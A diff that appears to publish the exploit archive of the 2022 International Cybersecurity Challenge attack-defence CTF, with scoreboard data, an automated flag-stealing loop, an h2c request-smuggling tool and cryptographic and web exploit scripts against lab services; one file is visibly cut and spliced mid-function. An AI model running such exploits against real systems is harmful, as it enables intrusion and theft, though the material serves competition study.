+63894,1,15261,8.045059101,-8.045059101,2022-06-16 14:56:54.196929+00 +63895,1,15277,1.176188337,0,2022-06-16 14:56:54.198065+00 +63896,1,15293,2.864601257,-2.864601257,2022-06-16 14:56:54.198867+00 diff --git a/data/team.csv b/data/team.csv new file mode 100644 index 0000000..7a84624 --- /dev/null +++ b/data/team.csv @@ -0,0 +1,9 @@ +id,name +0,NOP Team +1,ACSC Team +2,US Cyber Games +3,CyberSci Team Canada +4,Team Europe +5,Africa Team +6,Team Oceania +7,Latam Team diff --git a/data/team_service.csv b/data/team_service.csv new file mode 100644 index 0000000..c7d8148 --- /dev/null +++ b/data/team_service.csv @@ -0,0 +1,65 @@ +id,team_id,service_id,score,stolen,lost +1,0,0,5000,0,0 +2,0,1,5000,0,0 +3,0,2,5000,0,0 +4,0,3,5000,0,0 +5,0,4,5000,0,0 +6,0,5,5000,0,0 +7,0,6,5000,0,0 +8,0,7,5000,0,0 +21,2,4,3625.546094,257,306 +41,5,0,2456.914964,0,273 +51,6,2,5901.914152,455,253 +12,1,3,7617.645548,201,0 +28,3,3,4252.539656,0,59 +40,4,7,9712.663406,1019,157 +11,1,2,9684.924224,760,145 +20,2,3,4906.739811,0,7 +33,4,0,7196.281462,263,63 +37,4,4,9895.017537,699,72 +27,3,2,3162.556129,183,391 +36,4,3,4829.918243,0,11 +57,7,0,3496.441231,0,141 +34,4,1,5126.762502,109,47 +24,2,7,5072.221286,520,329 +25,3,0,2488.718781,0,269 +26,3,1,4445.222192,97,147 +14,1,5,9323.37909,569,22 +18,2,1,7514.396514,328,35 +55,6,6,6264.930302,402,197 +53,6,4,11105.68658,823,23 +30,3,5,2459.622137,267,608 +58,7,1,5164.370291,186,115 +39,4,6,9708.123183,609,32 +31,3,6,2744.269783,266,551 +45,5,4,0,0,825 +15,1,6,8758.019022,512,21 +29,3,4,2940.274625,182,381 +62,7,5,353.4033112,25,711 +23,2,6,7203.107861,465,100 +22,2,5,7413.764079,488,103 +46,5,5,0,0,663 +17,2,0,6118.234986,128,18 +52,6,3,4758.118064,0,16 +9,1,0,10515.25133,606,0 +38,4,5,9350.951957,605,54 +49,6,0,2728.157247,0,233 +54,6,5,6157.501305,424,217 +61,7,4,558.068798,16,724 +44,5,3,4378.181794,0,49 +43,5,2,0,0,809 +35,4,2,12078.90874,1075,77 +19,2,2,4304.679971,332,295 +59,7,2,0,0,835 +60,7,3,4256.856884,0,59 +32,3,7,3133.593156,257,407 +63,7,6,354.3630324,24,720 +47,5,6,0,0,657 +56,6,7,6335.000729,636,388 +16,1,7,11606.32843,1085,194 +64,7,7,238.8669596,128,1026 +48,5,7,0,0,1144 +50,6,1,4251.588421,103,125 +10,1,1,8372.311326,403,105 +42,5,1,125.348754,0,652 +13,1,4,7000.171261,593,239 \ No newline at end of file diff --git a/exploits/README.md b/exploits/README.md new file mode 100644 index 0000000..561a66b --- /dev/null +++ b/exploits/README.md @@ -0,0 +1,35 @@ +# International Cybersecurity Challenge 2022 - Athens + +## Services exploits + +| service | store | exploit | +| :------------------------ | :---: | :--------------------------------------------------------------------------------------------- | +| ClosedSea | 1 | [service1-store1-vuln1-h2csmuggling.py](/exploits/service1-store1-vuln1-h2csmuggling.py) | +| ClosedSea | 1 | [service1-store1-vuln2-switch-by-mint.py](/exploits/service1-store1-vuln2-switch-by-mint.py) | +| ClosedSea | 2 | [service1-store2-vuln1-negativeprice.py](/exploits/service1-store2-vuln1-negativeprice.py) | +| ClosedSea | 2 | [service1-store2-vuln2-keyrecovery.py](/exploits/service1-store2-vuln2-keyrecovery.py) | +| ClosedSea | 2 | [service1-store2-vuln3-donateall.py](/exploits/service1-store2-vuln3-donateall.py) | +| CyberUni - ExamNotes | 1 | [service2-store1-vuln1-hardcoded-key.py](/exploits/service2-store1-vuln1-hardcoded-key.py) | +| CyberUni - ExamNotes | 1 | [service2-store1-vuln2-path-traversal.py](/exploits/service2-store1-vuln2-path-traversal.py) | +| CyberUni - ExamNotes | 1 | [service2-store1-vuln3-tag-not-checked.py](/exploits/service2-store1-vuln3-tag-not-checked.py) | +| CyberUni - ExamNotes | 1 | [service2-store1-vuln4-auth-bypass.py](/exploits/service2-store1-vuln4-auth-bypass.py) | +| CyberUni - EncryptedNotes | 2 | [service2-store2-vuln1-ungarbled.py](/exploits/service2-store2-vuln1-ungarbled.py) | +| CyberUni - EncryptedNotes | 2 | [service2-store2-vuln2-wiresout.sage](/exploits/service2-store2-vuln2-wiresout.sage) | +| CyberUni - EncryptedNotes | 2 | [service2-store2-vuln3-otrandom.sage](/exploits/service2-store2-vuln3-otrandom.sage) | +| CyberUni - ExamPortal | 3 | [service2-store3-vuln1-zeros.py](/exploits/service2-store3-vuln1-zeros.py) | +| CyberUni - ExamPortal | 3 | [service2-store3-vuln2-viewexam.py](/exploits/service2-store3-vuln2-viewexam.py) | +| RPN | 1+2 | [service3-deaslr1-read1.py](/exploits/service3-deaslr1-read1.py) | +| RPN | 1+2 | [service3-deaslr1-read2.py](/exploits/service3-deaslr1-read2.py) | +| RPN | 1+2 | [service3-deaslr2-read1.py](/exploits/service3-deaslr2-read1.py) | +| RPN | 1+2 | [service3-deaslr2-read2.py](/exploits/service3-deaslr2-read2.py) | +| RPN | 1+2 | [service3-debug-mode-1.py](/exploits/service3-debug-mode-1.py) | +| RPN | 1+2 | [service3-debug-mode-2.py](/exploits/service3-debug-mode-2.py) | +| RPN | 1 | [service3-leak-1.py](/exploits/service3-leak-1.py) | +| RPN | 1 | [service3-leak-2.py](/exploits/service3-leak-2.py) | +| RPN | 1 | [service3-leak-3.py](/exploits/service3-leak-3.py) | +| RPN | 2 | [service3-leak-4.py](/exploits/service3-leak-4.py) | +| RPN | 2 | [service3-leak-5.py](/exploits/service3-leak-5.py) | +| Trademark | 1 | [service4-store1-vuln1-auth-bypass.py](/exploits/service4-store1-vuln1-auth-bypass.py) | +| Trademark | 1 | [service4-store1-vuln2-roots.sage](/exploits/service4-store1-vuln2-roots.sage) | +| Trademark | 1 | [service4-store1-vuln3-small-roots.sage](/exploits/service4-store1-vuln3-small-roots.sage) | +| Trademark | 1 | [service4-store1-vuln4-zero-poly.py](/exploits/service4-store1-vuln4-zero-poly.py) | diff --git a/exploits/authlib.cpython-38-x86_64-linux-gnu.so b/exploits/authlib.cpython-38-x86_64-linux-gnu.so new file mode 100644 index 0000000..fd8b032 Binary files /dev/null and b/exploits/authlib.cpython-38-x86_64-linux-gnu.so differ diff --git a/exploits/exploiter.py b/exploits/exploiter.py new file mode 100755 index 0000000..4eb5546 --- /dev/null +++ b/exploits/exploiter.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python3 + +from pwn import * +import requests +import sys +import os + +os.environ["PWNLIB_NOTERM"] = "1" + +TEAM = int(sys.argv[1]) +TEAM_TOKENS = [ + "TOKEN_TEAM_0", + "TOKEN_TEAM_1", + "TOKEN_TEAM_2", + "TOKEN_TEAM_3", + "TOKEN_TEAM_4", + "TOKEN_TEAM_5", + "TOKEN_TEAM_6", + "TOKEN_TEAM_7" +] +TEAM_TOKEN = TEAM_TOKENS[TEAM] + + +def send(flags): + t = requests.put('http://10.10.0.1:8080/flags', headers={ + 'X-Team-Token': TEAM_TOKEN + }, json=flags).text + + +while True: + for i in range(1, len(TEAM_TOKENS)): + + flagIds = requests.get("http://10.10.0.1:8081/flagIds").json() + + if i == TEAM: + continue + + # ClosedSea-1 + for flagId in flagIds["ClosedSea-1"][f"10.60.{i}.1"]: + try: + print("./service1-store1-vuln1-h2csmuggling.py", str(i), flagId) + s2 = process( + ["./service1-store1-vuln1-h2csmuggling.py", str(i), flagId], stdout=PIPE) + s2.wait(timeout=5) + send(s2.recvall(timeout=5).decode().split("\n")) + s2.close() + except: + pass + # ClosedSea-2 + for flagId in flagIds["ClosedSea-2"][f"10.60.{i}.1"]: + try: + print("./service1-store2-vuln2-keyrecovery.py", str(i), flagId) + s2 = process( + ["./service1-store2-vuln2-keyrecovery.py", str(i), flagId], stdout=PIPE) + s2.wait(timeout=5) + send(s2.recvall(timeout=5).decode().split("\n")) + s2.close() + except: + pass + + # ExamNotes + for flagId in flagIds["ExamNotes"][f"10.60.{i}.1"]: + try: + print("./service2-store1-vuln2-path-traversal.py", str(i), flagId) + s2 = process( + ["./service2-store1-vuln2-path-traversal.py", str(i), flagId], stdout=PIPE) + s2.wait(timeout=5) + send(s2.recvall(timeout=5).decode().split("\n")) + s2.close() + except: + pass + + # EncryptedNotes + for flagId in flagIds["EncryptedNotes"][f"10.60.{i}.1"]: + try: + print("./service2-store2-vuln1-ungarbled.py", str(i), flagId) + s2 = process( + ["./service2-store2-vuln1-ungarbled.py", str(i), flagId], stdout=PIPE) + s2.wait(timeout=5) + send(s2.recvall(timeout=5).decode().split("\n")) + s2.close() + except: + pass + + # ExamPortal + for flagId in flagIds["ExamPortal"][f"10.60.{i}.1"]: + try: + print("./service2-store3-vuln2-viewexam.py", str(i), flagId) + s2 = process( + ["./service2-store3-vuln2-viewexam.py", str(i), flagId], stdout=PIPE) + s2.wait(timeout=5) + send(s2.recvall(timeout=5).decode().split("\n")) + s2.close() + except: + pass + + # RPN 1 + try: + s3 = process(["./service3-leak-1.py", str(i)], stdout=PIPE) + s3.wait(timeout=5) + send(s3.recvall(timeout=5).decode().split("\n")) + s3.close() + except: + pass + + # RPN 2 + try: + s3 = process(["./service3-leak-5.py", str(i)], stdout=PIPE) + s3.wait(timeout=5) + send(s3.recvall(timeout=5).decode().split("\n")) + s3.close() + except: + pass + + # Trademark + for flagId in flagIds["Trademark"][f"10.60.{i}.1"]: + try: + print("./service4-store1-vuln4-zero-poly.py", str(i), flagId) + s4 = process( + ["./service4-store1-vuln4-zero-poly.py", str(i), flagId], stdout=PIPE) + s4.wait(timeout=5) + send(s4.recvall(timeout=5).decode().split("\n")) + s4.close() + except: + pass diff --git a/exploits/requirements.txt b/exploits/requirements.txt new file mode 100644 index 0000000..8a6bea3 --- /dev/null +++ b/exploits/requirements.txt @@ -0,0 +1,8 @@ +requests==2.27.1 +pwntools==4.8.0 +pycryptodome==3.14.1 +beautifulsoup4==4.6.0 +h2==4.1.0 +fastecdsa==2.2.3 +python-socketio==5.6.0 +websocket-client==1.3.2 \ No newline at end of file diff --git a/exploits/service1-h2c-smuggler.py b/exploits/service1-h2c-smuggler.py new file mode 100755 index 0000000..29ac08f --- /dev/null +++ b/exploits/service1-h2c-smuggler.py @@ -0,0 +1,364 @@ +#!/usr/bin/env python3 + +''' +Original source code: https://github.com/BishopFox/h2csmuggler/blob/master/h2csmuggler.py +''' + +import h2.connection +from h2.events import ( + ResponseReceived, DataReceived, StreamReset, StreamEnded +) + +import argparse +import multiprocessing.dummy as mp +import socket +import ssl +import sys +from urllib.parse import urlparse, urljoin + +MAX_TIMEOUT = 10 +UPGRADE_ONLY = False + + +def handle_events(events, isVerbose): + for event in events: + if isinstance(event, ResponseReceived): + handle_response(event.headers, event.stream_id) + elif isinstance(event, DataReceived): + print(event.data.decode('utf-8', 'replace')) + print("") + elif isinstance(event, StreamReset): + raise RuntimeError("stream reset: %d" % event.error_code) + else: + if isVerbose: + print("[INFO] " + str(event)) + + +def handle_response(response_headers, stream_id): + for name, value in response_headers: + print("%s: %s" % (name.decode('utf-8'), value.decode('utf-8'))) + + print("") + + +def establish_tcp_connection(proxy_url): + global MAX_TIMEOUT + + port = proxy_url.port or (80 if proxy_url.scheme == "http" else 443) + connect_args = (proxy_url.hostname, int(port)) + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + retSock = sock + if proxy_url.scheme == "https": + retSock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLS) + + retSock.settimeout(MAX_TIMEOUT) + retSock.connect(connect_args) + + return retSock + + +def send_initial_request(connection, proxy_url, settings): + global UPGRADE_ONLY + path = proxy_url.path or "/" + + addl_conn_str = b", HTTP2-Settings" + if UPGRADE_ONLY: + addl_conn_str = b"" + + request = ( + b"GET " + path.encode('utf-8') + b" HTTP/1.1\r\n" + + b"Host: " + proxy_url.hostname.encode('utf-8') + b"\r\n" + + b"Accept: */*\r\n" + + b"Accept-Language: en\r\n" + + b"Upgrade: h2c\r\n" + + # b"HTTP2-Settings: " + settings + b"\r\n" + + # + # hyper-h2 base64-encoded settings contain '_' chars, which although + # allowed by spec triggered errors on some faulty h2c implementatons. + b"HTTP2-Settings: " + b"AAMAAABkAARAAAAAAAIAAAAA" + b"\r\n" + + b"Connection: Upgrade" + addl_conn_str + b"\r\n" + + b"\r\n" + ) + connection.sendall(request) + + +def get_upgrade_response(connection, proxy_url): + data = b'' + while b'\r\n\r\n' not in data: + data += connection.recv(8192) + + headers, rest = data.split(b'\r\n\r\n', 1) + + # An upgrade response begins HTTP/1.1 101 Switching Protocols. + split_headers = headers.split() + if split_headers[1] != b'101': + print("[INFO] Failed to upgrade: " + proxy_url.geturl()) + return None, False + + return rest, True + + +def getData(h2_connection, sock): + events = [] + try: + while True: + newdata = sock.recv(8192) + events += h2_connection.receive_data(newdata) + if len(events) > 0 and isinstance(events[-1], StreamEnded): + raise socket.timeout() + except socket.timeout: + pass + + return events + + +def sendData(h2_connection, connection, data, stream_id): + """ + From: https://github.com/python-hyper/hyper-h2/blob/master/examples/twisted/post_request.py + """ + # Firstly, check what the flow control window is for stream 1. + #= 2) + assert cur is not None + vals[idx] = cur + + return true_in_A + + +def exploit(ip, target_user): + username, password = register_random_user(ip) + token = get_token(ip, username, password) + client = Client(ip, token) + pub = bytes.fromhex(client.get_public(target_user)) + circ, (N, cc, xx) = client.run_function(1, target_user, b"\0"*16) + m = [el[0] for el in cc] + enc_B = [f'{x:010x}' for x in m] + + res = evaluate_custom(circ["gates"], (circ["enc_A"], enc_B)) + key = bits2bytes(res) + cipher = AES.new(key, AES.MODE_ECB) + return cipher.decrypt(pub).decode() + + +if __name__ == "__main__": + team_id = sys.argv[1] + flag_id = sys.argv[2] + ip = f"10.60.{team_id}.1" + print(exploit(ip, flag_id)) diff --git a/exploits/service2-store2-vuln2-wiresout.sage b/exploits/service2-store2-vuln2-wiresout.sage new file mode 100644 index 0000000..4e1bc3d --- /dev/null +++ b/exploits/service2-store2-vuln2-wiresout.sage @@ -0,0 +1,40 @@ +#!/usr/bin/env python3 +import sys +from hashlib import sha256 +from Crypto.Cipher import AES +from service2_store2_common import Client, register_random_user, get_token, bits2bytes, xor, get_b + +load("service2_store2_common_sage.sage") + + +def exploit(ip, target_user): + username, password = register_random_user(ip) + token = get_token(ip, username, password) + client = Client(ip, token) + pub = bytes.fromhex(client.get_public(target_user)) + circ, (N, cc, xx) = client.run_function(2, target_user, b"\0"*16) + m = [el[0] for el in cc] + enc_B = [f'{x:010x}' for x in m] + + w = circ["wires_out"][0] + R = xor(bytes.fromhex(w[0]), bytes.fromhex(w[1])) + enc_B_all = [[x, xor(R, bytes.fromhex(x)).hex()] for x in enc_B] + + bdata = get_b(circ["gates"], circ["enc_A"], enc_B_all) + # print(bdata) + keys = get_key(bdata) + # print(keys) + for key in keys: + cipher = AES.new(key, AES.MODE_ECB) + flag = cipher.decrypt(pub) + try: + return flag.decode() + except UnicodeDecodeError: + continue + + +if __name__ == "__main__": + team_id = sys.argv[1] + flag_id = sys.argv[2] + ip = f"10.60.{team_id}.1" + print(exploit(ip, flag_id)) diff --git a/exploits/service2-store2-vuln3-otrandom.sage b/exploits/service2-store2-vuln3-otrandom.sage new file mode 100644 index 0000000..8cfc519 --- /dev/null +++ b/exploits/service2-store2-vuln3-otrandom.sage @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +import sys +from hashlib import sha256 +from Crypto.Cipher import AES +from service2_store2_common import Client, register_random_user, get_token, bits2bytes, xor, get_b + +load("service2_store2_common_sage.sage") + +def my_reconstruct(c): + poss = [0] + for j in range(41): + p = 1 << j + new_poss = [] + for Rcur in poss: + for bit in range(2): + Rnew = Rcur + bit*p + vals = [(x[1]-(x[0] ^^ Rnew)) % (2*p) for x in c] + if all(vals[0] == x for x in vals): + new_poss.append(Rnew) + poss = new_poss + return min(poss) + + +def exploit(ip, target_user): + username, password = register_random_user(ip) + token = get_token(ip, username, password) + client = Client(ip, token) + pub = bytes.fromhex(client.get_public(target_user)) + circ, (N, cc, xx) = client.run_function(2, target_user, b"\0"*16) + m = [el[0] for el in cc] + + R = my_reconstruct(cc) + enc_B_all = [[x, x ^^ R] for x in m] + enc_B_all = [[f'{x[0]:010x}', f'{x[1]:010x}'] for x in enc_B_all] + + bdata = get_b(circ["gates"], circ["enc_A"], enc_B_all) + keys = get_key(bdata) + for key in keys: + cipher = AES.new(key, AES.MODE_ECB) + flag = cipher.decrypt(pub) + try: + return flag.decode() + except UnicodeDecodeError: + continue + + +if __name__ == "__main__": + team_id = sys.argv[1] + flag_id = sys.argv[2] + ip = f"10.60.{team_id}.1" + print(exploit(ip, flag_id)) diff --git a/exploits/service2-store3-vuln1-zeros.py b/exploits/service2-store3-vuln1-zeros.py new file mode 100755 index 0000000..ab24868 --- /dev/null +++ b/exploits/service2-store3-vuln1-zeros.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python3 + +import requests +import sys +import os +from service2client import Client as AuthClient + +port = 1237 + + +def exploit(ip, id): + base_addr = f"http://{ip}:{port}" + username = os.urandom(6).hex() + password = os.urandom(6).hex() + c = AuthClient(ip, username, password, "3") + c.register() + c.login() + token = c.get_token() + + sess = requests.Session() + r = sess.post(base_addr+"/login.php", data={"token": token, "2fa": ""}) + r = sess.post(base_addr+"/exam_submit.php", + json={"id": id, "answers": [0]*10}) + return r.json()["msg"] + + +if __name__ == "__main__": + team_id = sys.argv[1] + flag_id = sys.argv[2] + ip = f"10.60.{team_id}.1" + print(exploit(ip, flag_id)) diff --git a/exploits/service2-store3-vuln2-viewexam.py b/exploits/service2-store3-vuln2-viewexam.py new file mode 100755 index 0000000..699b313 --- /dev/null +++ b/exploits/service2-store3-vuln2-viewexam.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python3 + +from service2client import Client as AuthClient +from bs4 import BeautifulSoup +import os +import requests +import sys + +port = 1237 + + +def get_correct(html): + soup = BeautifulSoup(html, 'html.parser') + html_ans = soup.find_all("ul")[1:] + letters = ["A", "B", "C", "D"] + correct = [] + for _, x in enumerate(html_ans): + cur_ans = x.find_all("li") + assert len(cur_ans) == 4 + for j, y in enumerate(cur_ans): + val = str(y["class"]) + if "bg-success" in val: + correct.append(letters[j]) + break + return correct + + +def exploit(ip, id): + base_addr = f"http://{ip}:{port}" + + username = os.urandom(6).hex() + password = os.urandom(6).hex() + tfa = os.urandom(4).hex() + c = AuthClient(ip, username, password, "3") + c.register() + c.login() + token = c.get_token() + + sess = requests.Session() + r = sess.post(base_addr+"/login.php", data={"token": token, "2fa": tfa}) + r = sess.get(base_addr+"/exam_view.php", params={"id": id}) + correct = get_correct(r.text) + r = sess.post(base_addr+"/exam_submit.php", + json={"id": id, "answers": correct}) + return r.json()["msg"] + + +if __name__ == "__main__": + team_id = sys.argv[1] + flag_id = sys.argv[2] + ip = f"10.60.{team_id}.1" + print(exploit(ip, flag_id)) diff --git a/exploits/service2_store2_common.py b/exploits/service2_store2_common.py new file mode 100755 index 0000000..9925530 --- /dev/null +++ b/exploits/service2_store2_common.py @@ -0,0 +1,224 @@ +#!/usr/bin/env python3 + +import zlib +import base64 +import json +from Crypto.Cipher import AES +import sys +import string +import random +from hashlib import sha256 +import os +os.environ["PWNLIB_NOTERM"] = "1" + +from pwn import remote, context +from service2client import Client as AuthClient + +context.log_level = "error" +PORT = 1236 + + +def random_string(min, max): + letters = string.ascii_letters + string.digits + return ''.join(random.choice(letters) for i in range(random.randint(min, max))) + + +# Auth stuff +def get_random_creds(): + username = random_string(8, 24) + password = random_string(8, 24) + return username, password + + +def register_random_user(team_ip): + username, password = get_random_creds() + register_user(team_ip, username, password) + return username, password + + +def register_user(team_ip, username, password): + c = AuthClient(team_ip, username, password, "3") + c.register() + + +def get_token(team_ip, username, password): + c = AuthClient(team_ip, username, password, "3") + c.login() + token = c.get_token() + return token + + +# OT stuff +class Receiver: + def __init__(self, b): + self.b = b + + def round2(self, pk, x): + N, e = pk + n = len(x) + assert n == len(self.b) + + v = [] + for i in range(n): + cur = x[i][0] + v.append(cur % N) + self.N = N + self.x = x + return v + + def decode(self, c): + n = len(c) + assert n == len(self.b) + + m = [] + for i in range(n): + mm = (c[i][0]) % self.N + m.append(mm) + return m + + +# client to service +def bytes2bits(b): + bits = ''.join(f'{x:08b}' for x in b) + return list(map(int, bits)) + + +def bits2bytes(arr): + n = len(arr) + assert n % 8 == 0 + nbytes = n // 8 + s = "".join(map(str, arr)) + return int.to_bytes(int(s, 2), nbytes, "big") + + +class Client: + def __init__(self, host, token): + self.r = remote(host, PORT) + self.r.recvlines(1) + self.r.sendlineafter("token: ", token) + + def set_keyword(self, keyword): + self.r.recvlines(6) + self.r.sendlineafter("> ", "1") + self.r.sendlineafter("secret: ", keyword) + + def set_public(self, data): + self.r.recvlines(6) + self.r.sendlineafter("> ", "2") + self.r.sendlineafter("text: ", data) + + def get_public(self, user): + self.r.recvlines(6) + self.r.sendlineafter("> ", "4") + self.r.sendlineafter("user: ", user) + return self.r.recvline(False).decode() + + def run_function(self, choice, user, my_in): + self.r.recvlines(6) + self.r.sendlineafter("> ", "3") + self.r.sendlineafter("user: ", user) + self.r.recvlines(3) + self.r.sendlineafter("> ", str(choice)) + + data = self.r.recvline(False) + tmp = zlib.decompress(base64.b64decode(data)) + obj = json.loads(tmp.decode()) + circ = obj["circuit"] + + N, e, x = obj["ot"]["N"], obj["ot"]["e"], obj["ot"]["x"] + in_B = bytes2bits(my_in) + assert len(in_B) == 128 + + if choice == 2: + in_B = in_B[::-1] + receiver = Receiver(in_B) + v = receiver.round2((N, e), x) + vdict = json.dumps({"v": v}) + self.r.sendline(vdict) + data = self.r.recvline(False) + obj = json.loads(data.decode()) + c = obj["c"] + + return circ, (receiver.N, c, receiver.x) + + +# circuits stuff +VAL_LENGTH = 5 +PAD_LENGTH = 3 + + +def xor(a, b): + return bytes(x ^ y for x, y in zip(a, b)) + + +def H(k): + return sha256(k).digest() + + +def dec(k, x): + k = H(k) + val = xor(k, x) + if val[:PAD_LENGTH] == b"\0"*PAD_LENGTH: + return val[PAD_LENGTH:] + + +def decode_gate(opv, g, ins, to_hex): + if to_hex: + ins = [bytes.fromhex(x) for x in ins] + g = [bytes.fromhex(r) for r in g] + if opv == "INV": + res = ins[0] + elif opv == "XOR": + res = xor(ins[0], ins[1]) + else: + for x in g: + k = b"".join(ins) + val = dec(k, x) + if val is not None: + res = val + break + if to_hex: + return res.hex() + return res + + +def my_evaluate(garbled_circuit, inputs, target_id): + enc_A, enc_B = inputs + vals = enc_A+enc_B+[None]*len(garbled_circuit) + for g in garbled_circuit: + idx, opv, ins, gate = g + k = [vals[i] for i in ins] + cur = decode_gate(opv, gate, k, True) + assert cur is not None + vals[idx] = cur + if idx == target_id: + return cur + + +def get_b(garbled_circuit, enc_A, enc_B_all): + indici = {3535: (19, 18), 3532: (23, 18), 3530: (21, 17), 3529: (20, 17), 3674: (27, 26), 3671: (31, 26), 3669: (29, 25), 3668: (28, 25), 3813: (35, 34), 3810: (39, 34), 3808: (37, 33), 3807: (36, 33), 3953: (43, 42), 3950: (47, 42), 3948: (45, 41), 3947: (44, 41), 4092: (67, 66), 4089: (71, 66), 4087: (69, 65), 4086: (68, 65), 4231: (75, 74), 4228: (79, 74), 4226: (77, 73), 4225: (76, 73), 4370: (91, 90), 4367: (95, 90), 4365: (93, 89), 4364: (92, 89), 4509: (99, 98), 4506: (103, 98), 4503: ( + 100, 97), 4648: (107, 106), 4645: (111, 106), 4642: (108, 105), 4787: (115, 114), 4784: (119, 114), 4781: (116, 113), 4926: (123, 122), 4923: (127, 122), 4920: (124, 121), 15464: (83, 82), 15461: (87, 82), 15459: (85, 81), 15458: (84, 81), 15603: (51, 50), 15600: (55, 50), 15598: (53, 49), 15597: (52, 49), 21163: (59, 58), 21160: (63, 58), 21158: (61, 57), 21157: (60, 57), 32061: (3, 2), 32058: (7, 2), 32056: (5, 1), 32055: (4, 1), 32339: (11, 10), 32336: (15, 10), 32334: (13, 9), 32333: (12, 9)} + + res = {} + bb = [] + for k, val in indici.items(): + p1, p2 = val + cosi = [] + coppie = [] + for n1 in range(2): + for n2 in range(2): + B_true_input = [0]*128 + B_true_input[p1] = n1 + B_true_input[p2] = n2 + B_cur = [Bin[x] for Bin, x in zip(enc_B_all, B_true_input)] + + val = my_evaluate(garbled_circuit, (enc_A, B_cur), k) + cosi.append(val) + coppie.append((n1, n2)) + + for j in range(4): + if cosi.count(cosi[j]) == 1: + uni = coppie[j] + + bb += [1-uni[0], 1-uni[1]] + return bb diff --git a/exploits/service2_store2_common_sage.sage b/exploits/service2_store2_common_sage.sage new file mode 100644 index 0000000..a7a3717 --- /dev/null +++ b/exploits/service2_store2_common_sage.sage @@ -0,0 +1,34 @@ +from bitstring import BitArray + + +def get_key(bdata): + mat = [[17, 19, 20, 23], [17, 18, 20, 23], [17, 23], [17, 18, 19, 21], [16, 21, 22, 23], [16, 17, 18, 19, 22], [20, 23], [17, 18, 19, 22], [25, 27, 28, 31], [25, 26, 28, 31], [25, 31], [25, 26, 27, 29], [24, 29, 30, 31], [24, 25, 26, 27, 30], [28, 31], [25, 26, 27, 30], [33, 35, 36, 39], [33, 34, 36, 39], [33, 39], [33, 34, 35, 37], [32, 37, 38, 39], [32, 33, 34, 35, 38], [36, 39], [33, 34, 35, 38], [41, 43, 44, 47], [41, 42, 44, 47], [41, 47], [41, 42, 43, 45], [40, 45, 46, 47], [40, 41, 42, 43, 46], [44, 47], [41, 42, 43, 46], [65, 67, 68, 71], [65, 66, 68, 71], [65, 71], [65, 66, 67, 69], [64, 69, 70, 71], [64, 65, 66, 67, 70], [68, 71], [65, 66, 67, 70], [73, 75, 76, 79], [73, 74, 76, 79], [73, 79], [73, 74, 75, 77], [72, 77, 78, 79], [72, 73, 74, 75, 78], [76, 79], [73, 74, 75, 78], [89, 91, 92, 95], [89, 90, 92, 95], [89, 95], [89, 90, 91, 93], [88, 93, 94, 95], [88, 89, 90, 91, 94], [92, 95], [89, 90, 91, 94], [97, 99, 100, 103], [97, 98, 100, 103], [97, 103], [97, 98, 99, 101], [ + 100, 103], [97, 98, 99, 102], [105, 107, 108, 111], [105, 106, 108, 111], [105, 111], [105, 106, 107, 109], [108, 111], [105, 106, 107, 110], [113, 115, 116, 119], [113, 114, 116, 119], [113, 119], [113, 114, 115, 117], [116, 119], [113, 114, 115, 118], [121, 123, 124, 127], [121, 122, 124, 127], [121, 127], [121, 122, 123, 125], [124, 127], [121, 122, 123, 126], [81, 83, 84, 87], [81, 82, 84, 87], [81, 87], [81, 82, 83, 85], [80, 85, 86, 87], [80, 81, 82, 83, 86], [84, 87], [81, 82, 83, 86], [49, 51, 52, 55], [49, 50, 52, 55], [49, 55], [49, 50, 51, 53], [48, 53, 54, 55], [48, 49, 50, 51, 54], [52, 55], [49, 50, 51, 54], [57, 59, 60, 63], [57, 58, 60, 63], [57, 63], [57, 58, 59, 61], [56, 61, 62, 63], [56, 57, 58, 59, 62], [60, 63], [57, 58, 59, 62], [1, 3, 4, 7], [1, 2, 4, 7], [1, 7], [1, 2, 3, 5], [0, 5, 6, 7], [0, 1, 2, 3, 6], [4, 7], [1, 2, 3, 6], [9, 11, 12, 15], [9, 10, 12, 15], [9, 15], [9, 10, 11, 13], [8, 13, 14, 15], [8, 9, 10, 11, 14], [12, 15], [9, 10, 11, 14]] + K = GF(2) + M = [] + for row in mat: + cur = [0]*128 + for x in row: + cur[x] = 1 + M.append(cur) + M = Matrix(K, M) + bb = [] + mm = [] + + # ASCII stuff + for i in range(7, 128, 8): + row = [0]*128 + row[i] = 1 + mm.append(row) + bb.append(0) + + b2 = vector(K, bdata+bb) + M2 = M.stack(Matrix(K, mm)) + res = M2.solve_right(b2) + keys = [] + for v in M2.right_kernel(): + sol = res+v + arr = [int(x) for x in sol[::-1]] + boh = BitArray(arr) + keys.append(boh.bytes) + return keys diff --git a/exploits/service2client.py b/exploits/service2client.py new file mode 100755 index 0000000..da9b194 --- /dev/null +++ b/exploits/service2client.py @@ -0,0 +1,67 @@ +import authlib +from pwn import * + +context.log_level = "error" +PORT = 1234 + +class Client(): + def __init__(self, server_ip, username, password, service): + self.server_addr = server_ip + self.server_port = PORT + self.username = username + self.password = password + self.service = service + self.auth_token = None + self.shared_key = None + + def open_connection(self): + s = remote(self.server_addr, self.server_port) + assert s.recvline(False) == b"HELLO" + s.sendline(b"HELLO") + assert s.recvline(False) == b"OK" + return s + + def register(self): + s = self.open_connection() + s.sendline(b"REG") + assert s.recvline(False) == b"OK" + s.sendline(self.username.encode()) + resp = s.recvline(False) + if resp != b"OK": + return False + s.sendline(self.password.encode()) + resp = s.recvline(False) + s.close() + if resp != b"OK": + return False + return True + + def login(self): + auth = authlib.AuthClient(self.username, self.password) + initial_values = auth.get_starting_values() + s = self.open_connection() + s.sendline(b"AUTH") + assert s.recvline(False) == b"OK" + s.sendline(self.username.encode()) + resp = s.recvline(False) + if resp != b"OK": + return False + s.sendline(initial_values.encode()) + intermediate_values = s.recvline(False).decode() + final_values = auth.get_final_values(intermediate_values) + s.sendline(final_values.encode()) + self.auth_token = s.recvline(False).decode() + self.shared_key = auth.get_shared_key() + s.close() + return True + + def get_token(self): + token_client = authlib.TicketClient(self.username, self.service, self.auth_token, self.shared_key) + user_token = token_client.get_user_token() + s = self.open_connection() + s.sendline(b"TOKEN") + assert s.recvline(False) == b"OK" + s.sendline(user_token.encode() + b"." + self.auth_token.encode()) + key_token, service_token = s.recvline(False).decode().split(".") + s.close() + return token_client.finalize_token(key_token, service_token) diff --git 